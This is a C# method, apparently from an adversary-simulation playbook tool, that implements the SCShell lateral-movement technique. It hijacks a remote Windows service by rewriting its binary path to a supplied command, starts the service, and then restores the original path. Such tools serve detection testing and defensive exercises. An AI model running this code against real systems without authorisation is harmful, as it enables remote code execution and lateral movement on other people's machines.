예제 #1
0
        //Based on https://github.com/Mr-Un1k0d3r/SCShell
        public static void ModifyRemoteServiceApi(Computer computer, PlaybookTask playbook_task, Logger logger)
        {
            var    scmHandle   = IntPtr.Zero;
            int    createdErr  = 0;
            int    bytesNeeded = 0;
            IntPtr qscPtr      = IntPtr.Zero;


            if (!computer.Fqdn.Equals(""))
            {
                scmHandle = WinAPI.OpenSCManager(computer.Fqdn, null, Structs.SCM_ACCESS.SC_MANAGER_CREATE_SERVICE);
            }
            else if (!computer.ComputerName.Equals(""))
            {
                scmHandle = WinAPI.OpenSCManager(computer.ComputerName, null, Structs.SCM_ACCESS.SC_MANAGER_CREATE_SERVICE);
            }
            else
            {
                scmHandle = WinAPI.OpenSCManager(computer.IPv4, null, Structs.SCM_ACCESS.SC_MANAGER_CREATE_SERVICE);
            }

            if (scmHandle == IntPtr.Zero)
            {
                createdErr = Marshal.GetLastWin32Error();
                logger.TimestampInfo(String.Format("Could not obtain a handle to the Service Control Manager on {0}.", computer.Fqdn));
                throw new Win32Exception(createdErr);
            }
            if (!playbook_task.serviceName.Equals("random"))
            {
                IntPtr svcHandleOpened = WinAPI.OpenService(scmHandle, playbook_task.serviceName, Structs.SERVICE_ACCESS.SERVICE_ALL_ACCESS);
                if (svcHandleOpened == IntPtr.Zero)
                {
                    logger.TimestampInfo(String.Format("Could not obtain a handle to remote Service {0}.", playbook_task.serviceName));
                    throw new Win32Exception(createdErr);
                }
                Structs.QueryServiceConfig qscs = new Structs.QueryServiceConfig();
                int retCode = WinAPI.QueryServiceConfig(svcHandleOpened, qscPtr, 0, ref bytesNeeded);
                if (retCode == 0 && bytesNeeded == 0)
                {
                    throw new Win32Exception();
                }

                qscPtr  = Marshal.AllocCoTaskMem((int)bytesNeeded);
                retCode = WinAPI.QueryServiceConfig(svcHandleOpened, qscPtr, bytesNeeded, ref bytesNeeded);
                logger.TimestampInfo(String.Format("Got handle for remote Service {0}.", playbook_task.serviceName));
                qscs = (Structs.QueryServiceConfig)Marshal.PtrToStructure(qscPtr, new Structs.QueryServiceConfig().GetType());
                string originalBinaryPath = Marshal.PtrToStringAuto(qscs.binaryPathName);
                logger.TimestampInfo("Original binary path " + originalBinaryPath);

                bool serviceChanged = WinAPI.ChangeServiceConfig(svcHandleOpened, 0xFFFFFFFF, 0x00000003, 0, playbook_task.servicePath, null, null, null, null, null, null);
                if (!serviceChanged)
                {
                    logger.TimestampInfo(String.Format("Could not modify remote Service '{0}'.", playbook_task.serviceName));
                    throw new Win32Exception(createdErr);
                }
                logger.TimestampInfo(String.Format("Succesfully modified remote Service '{0}' using ChangeServiceConfig.", playbook_task.serviceName));

                WinAPI.StartService(svcHandleOpened, 0, null);
                logger.TimestampInfo(String.Format("Service '{0}' started  with new ServicePath {1}", playbook_task.serviceName, playbook_task.servicePath));
                Thread.Sleep(3000);

                serviceChanged = WinAPI.ChangeServiceConfig(svcHandleOpened, 0xFFFFFFFF, 0x00000003, 0, originalBinaryPath, null, null, null, null, null, null);
                if (serviceChanged)
                {
                    logger.TimestampInfo(String.Format("Restored remote Service '{0}' to the original path.", playbook_task.serviceName));
                }
            }
        }